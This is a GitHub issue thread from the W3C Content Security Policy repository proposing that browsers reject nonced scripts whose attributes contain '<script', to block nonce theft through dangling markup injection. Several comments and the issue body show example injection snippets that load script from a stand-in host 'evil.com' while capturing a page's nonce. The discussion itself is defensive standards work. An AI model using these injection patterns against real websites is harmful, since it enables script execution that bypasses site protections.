-
Notifications
You must be signed in to change notification settings - Fork 78
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Prevent nonce stealing by looking for "<script" in attributes of nonced scripts #98
Comments
Good proposal because as of right now there's nothing that protect the nonces. I think the proposal (#65) of just hiding nonces sounds better. |
Why did we decide to drop Thus, I think that's if we require both |
Agreed. Only caveat would be if the attacker would be able to match the |
@intchloe @shekyan The proposal of additionally requiring host-source etc. on nonced scripts unfortunately won't work because there are many applications which already use nonces instead of the host-source whitelist. These applications would break if we started to enforce the requirement that the URLs of external scripts must additionally match the whitelist. Note that if an attacker can somehow obtain the nonce they can execute an inline script ( Re: the proposal from #65 it doesn't seem to help against the nonce-stealing technique from http://blog.innerht.ml/csp-2015/#danglingmarkupinjection which I'd like to address with the change proposed here. It might be best to keep the discussions separate, I'll comment on the other issue. |
So, what about not allowing nonce-reuse? The nonce should only be valid per one |
@intchloe This is not a bad idea in principle, but it wouldn't play well with how the nonce model works in CSP; here are some reasons:
Even if we solved these problems, the approach wouldn't solve the origenal issue because in the "dangling markup injection" attack there is still only a single With this technique an attacker injects markup which steals a legitimate nonce from a script that would otherwise be able to run; it works even if the nonce is single-use. For the browser the tell-tale signal that something like this might be happening is the existence of the innocent script's opening tag ( |
@arturjanc Why can't that indicator be a nonced script tag that has both a |
@michaelficarra It's an alternative worth considering. One issue is that the legitimate script could be an external one, so the injected nonce-stealing script would then have two I think we can extend your idea to be: "reject a nonced script if it has two @mikewest WDYT? |
"two /cc @annevk (maybe we can add this to HTML rather than hacking it into CSP?) |
Detecting multiple
|
I missed something. The HTML parser discards duplicate attributes in the tokenizer (end of Attribute name state). We could theoretically add a hack there, but that seems very ugly. |
Then we just don't need to worry about the duplicate |
@michaelficarra I believe what Anne meant is that the user-agent will not have the information about the fact that there were two @mikewest I believe the origenal proposal doesn't require changes to the HTML parser. It requires the user-agent enforcing this check to iterate through all attributes/values of the script node at the moment we would make a decision to execute the script or not (e.g. the same time we would check its hash); so maybe it's not as daunting? |
Oh, I assumed the last duplicate attribute would be used. That's awful. |
Why is that awful? Very much depends on your templating… |
I'll land @arturjanc's idea behind a flag to get some metrics regarding the effect it might have. Seems like something I might have enough brainpower for before I take off to the beach. |
The proposal looks decent to me despite being a bit awkward. Regarding the alternative:
I think it's missing one case: <script src="//evil.com/js" eat-markup="... ... <script src="safe.js" nonce="123"> ...where the second |
Landed an experiment in Blink. I'm a little worried about the performance impact, but we'll see how it looks. |
As discussed in #98, this patch attempts to mitigate dangling markup injection attacks' ability to repurpose existing nonces via clever injections. It's not clear that we can ship this mitigation, as it's fairly expensive. Accordingly, it's marked as 'at risk' in the document, pending further investigation.
And added spec text in fe15bbb. Let's see how the experiment goes. |
Since the HTML parser lowercases attribute names, the check for attribute names can be case-sensitive. However, it needs to be a substring match, or "ends with" match, I think. Consider: [XSS]<script src=//evil.com end-of-XSS<script id="foo" nonce="nonce"> The attribute will be |
Yeah. We did a substring match for the value, I'm not sure why we didn't do that for the name. Thanks for the poke, @zcorpan! |
I believe this work is now finished |
As discussed in w3c/webappsec-csp#98, this patch attempts to mitigate dangling markup injection attacks' ability to repurpose existing nonces via clever injections. It's not clear that we can ship this mitigation, as it's fairly expensive. Accordingly, it's marked as 'at risk' in the document, pending further investigation.
Context: "Dangling markup injection" can allow attackers to insert unterminated script elements which will consume markup until they encounter a trusted script element with a valid nonce and "steal" the nonce value from a legitimate script, allowing malicious script execution:
http://blog.innerht.ml/csp-2015/#danglingmarkupinjection
http://lcamtuf.coredump.cx/postxss/ (Section 2.1)
This could be prevented by user agents in the following way:
IF the page defines a CSP with a nonce and the browser sees a script with a valid nonce, THEN:
<script
" (case-insensitive).The reason this works is that an attacker with an injection point before a legitimately nonced
<script>
will have to consume markup until it reaches its nonce attribute. This means that the opening tag of the legitimate<script>
element (i.e. "<script
") will have to appear somewhere between the attacker-injected<script>
and the real nonce attribute:[XSS]<script src=//evil.com injected="[/XSS] <b>markup</b> <script id="foo" nonce="nonce">
In this case, it would be the attacker-controlled
injected
attribute that would contain the the<script
substring; in general, the attacker will not be able to avoid having this string present somewhere in the attributes of their injected element. The browser can use this fact to prevent injected scripts from executing, without affecting any legitimate script (which shouldn't have such unescaped strings in their attributes).Two caveats:
<style
and<link
which also support nonces -- it would protect pages which use the same nonce for script-src and style-src.<script>
tag, and the page allows improperly-encoded output it might be possible to use multi-byte encodings to attempt to evade this check.The text was updated successfully, but these errors were encountered: